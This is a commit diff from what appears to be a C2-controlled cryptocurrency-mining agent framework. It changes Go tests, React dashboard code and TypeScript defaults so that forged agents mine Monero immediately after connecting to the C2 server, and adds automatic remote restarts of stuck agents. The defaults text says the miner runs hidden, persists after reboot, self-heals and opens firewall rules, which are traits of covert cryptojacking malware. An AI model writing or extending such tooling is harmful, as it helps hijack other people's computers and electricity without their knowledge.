Start simple-deploy mining immediately after C2 auth.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.
This commit is contained in:
AetherForge
2026-06-07 21:34:50 -07:00
parent 456988caaa
commit 9b2eafd583
9 changed files with 135 additions and 16 deletions

View File

@@ -806,6 +806,7 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
// from agents are batched into a single stats_batch frame for dashboards.
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
t.Parallel()
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
@@ -829,7 +830,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
}
batchCh := make(chan batchResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
_ = dashConn.SetReadDeadline(time.Now().Add(15 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
@@ -923,7 +924,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
if byAgent[agentB]["active_method"] != "container" {
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
}
case <-time.After(2 * time.Second):
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
}

View File

@@ -1,6 +1,7 @@
import { useEffect, useRef } from 'react';
import { Link } from 'react-router-dom';
import type { Agent } from '../../types';
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
import { api } from '../../api/client';
interface Props {
@@ -9,9 +10,42 @@ interface Props {
onAction?: (message: string) => void;
}
const AUTO_RESTART_MS = 60_000;
/** Banner when agents are online but not hashing — with actionable fix buttons. */
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
const stuck = agentsConnectedNotHashing(agents);
const firstSeenRef = useRef<Map<string, number>>(new Map());
const autoRestartedRef = useRef<Set<string>>(new Set());
useEffect(() => {
const now = Date.now();
const stuckIds = new Set(stuck.map((a) => a.id));
for (const id of [...firstSeenRef.current.keys()]) {
if (!stuckIds.has(id)) firstSeenRef.current.delete(id);
}
for (const a of stuck) {
if (!firstSeenRef.current.has(a.id)) firstSeenRef.current.set(a.id, now);
}
const due = stuck.filter((a) => {
const t0 = firstSeenRef.current.get(a.id) ?? now;
return now - t0 >= AUTO_RESTART_MS && !autoRestartedRef.current.has(a.id);
});
if (due.length === 0) return;
for (const a of due) autoRestartedRef.current.add(a.id);
void (async () => {
try {
const r = await api.sendBulkCommand(
due.map((a) => a.id),
'restart',
);
onAction?.(`Auto Restart mining (60s @ 0 H/s) → sent:${r.sent} failed:${r.failed}`);
} catch (e) {
onAction?.(`Auto Restart mining failed: ${e instanceof Error ? e.message : String(e)}`);
}
})();
}, [stuck, onAction]);
if (stuck.length === 0) return null;
const targetIds =
@@ -34,6 +68,7 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
const sample = stuck[0];
const status = simpleDeployStatus(sample);
const calibrateFix = simpleDeployCalibrateFix(sample);
return (
<div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
@@ -42,8 +77,8 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected not hashing
</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
{status.message}
{sample.mining_block_reason && sample.mining_block_reason !== status.message
{calibrateFix ?? status.message}
{!calibrateFix && sample.mining_block_reason && sample.mining_block_reason !== status.message
? `${sample.mining_block_reason}`
: ''}
. &quot;Deploy&quot; here means C2 registration + mining tier probe not lateral spread.

View File

@@ -21,7 +21,7 @@ describe('forgeSmartDefaults', () => {
expect(form.worker_name).toMatch(/^worker-/);
expect(form.process_name).toBeTruthy();
expect(form.server_url).toBe('http://10.0.0.2:8989');
expect(form.mining_mode).toBe('idle');
expect(form.mining_mode).toBe('always');
});
it('fills backup C2 URLs from other LAN candidates', () => {

View File

@@ -67,7 +67,7 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
...FORGE_BUILD_DEFAULTS,
simple_deploy: true,
miner_execution: 'inprocess',
mining_mode: 'idle',
mining_mode: 'always',
idle_threshold_pct: 20,
idle_duration_minutes: 5,
thread_mode: 'percent',
@@ -170,7 +170,7 @@ export function forgeDefaultsFromServerSmart(
}
export const RECOMMENDED_DEFAULTS_BLURB =
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
'Recommended for home LAN fleets: mines immediately (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
export function isValidWorkerName(name: string): boolean {
const t = name.trim();

View File

@@ -3,6 +3,7 @@ import type { Agent } from '../types';
import {
agentsConnectedNotHashing,
simpleDeployStatus,
simpleDeployCalibrateFix,
simpleMinePreset,
} from './simpleDeploy';
@@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => {
});
});
describe('simpleDeployCalibrateFix', () => {
it('requires wallet in Calibrate', () => {
expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i);
});
it('surfaces pool fix from mining_block_reason', () => {
expect(
simpleDeployCalibrateFix(
agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }),
),
).toMatch(/pool/i);
});
});
describe('simpleMinePreset', () => {
it('disables spread and enables simple_deploy', () => {
const p = simpleMinePreset();

View File

@@ -10,6 +10,17 @@ export interface SimpleDeployStatus {
hashrate?: number;
}
/** Operator fix text when Calibrate is incomplete for mining. */
export function simpleDeployCalibrateFix(agent: Agent): string | undefined {
const wallet = agent.wallet?.trim();
if (!wallet) return 'Set XMR wallet in Calibrate (Settings), then re-forge with Deploy & Mine.';
const reason = agent.mining_block_reason?.toLowerCase() ?? '';
if (reason.includes('pool host not configured') || reason.includes('pool not configured')) {
return 'Set pool host/port in Calibrate, then re-forge with Deploy & Mine.';
}
return undefined;
}
/** Human status for deploy→test→mine operator path. */
export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
if (agent.status !== 'online') {